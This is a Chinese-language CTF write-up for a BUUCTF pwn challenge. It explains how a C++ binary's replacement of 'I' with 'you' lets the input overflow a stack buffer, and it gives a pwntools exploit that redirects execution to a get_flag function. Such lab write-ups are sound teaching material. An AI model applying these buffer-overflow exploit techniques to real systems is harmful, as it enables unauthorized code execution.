buuctf中的一题,纯纯烧杯题,这题注重考查c++逆向(但是我还是觉得是动手调试的能力)
老规矩了,checksec看一下保护机制和位数
感觉像是栈溢出,不确定,ida看看
哇,看到这函数列表懵逼了,不过别怕,仔细翻一番
逮到三个看名字有用的,f5看一下
main函数:
int __cdecl main(int argc, const char **argv, const char **envp) { vuln(); return 0; }
|
vuln函数:
int vuln() { const char *v0; int v2; char s[32]; char v4[4]; char v5[7]; char v6; char v7[7]; char v8[5];
printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(); std::allocator<char>::allocator(&v6, s); std::string::string(v5, "you", &v6); std::allocator<char>::allocator(v8, v2); std::string::string(v7, "I", v8); replace((std::string *)v4); std::string::operator=(&input, v4, v7, v5); std::string::~string(v4); std::string::~string(v7); std::allocator<char>::~allocator(v8); std::string::~string(v5); std::allocator<char>::~allocator(&v6); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s); }
|
gatflag函数:
int get_flag() { return system("cat flag.txt");
|
看完人更傻了,虽然getflag明显就是要我们栈溢出,跳转到这个函数,但是vuln写的是什么?
百度完应该是c++中std::string相关的用法
不过这题应该是要我们会用debug来调试程序
我们重点注意一下那一串天书里面的“I”和“you”,突破口肯定是这俩
浅写段exp,debug看看有什么玄机
from pwn import* io = remote("node4.buuoj.cn",29397) context.log_level = "debug" payload = b'I'*6 io.sendline(payload) io.recv()
|
好家伙,我们可以看到明明传的是I,结果都变成了you,那到这里很明显了,这题就是把字符串中的i替换成了you
我们再来看看能不能进行栈溢出
可以看到,我们只能输入0x20字节的数据给s,但是他距离ebp有0x3c,不够怎么办?
刚才不是输入I可以变成you吗?这不是一个字节顶三个字节,一节更比一节强(南孚打钱)
那思路很明显了,输入20个字长的I,就相当于输入了60个字长的you,我们就可以进行栈溢出了
exp:
from pwn import* io = remote("node4.buuoj.cn",29397) getflag_addr = 0x8048f0d payload = b'I'*20+cyclic(4)+p32(getflag_addr) io.sendline(payload) io.recv()
|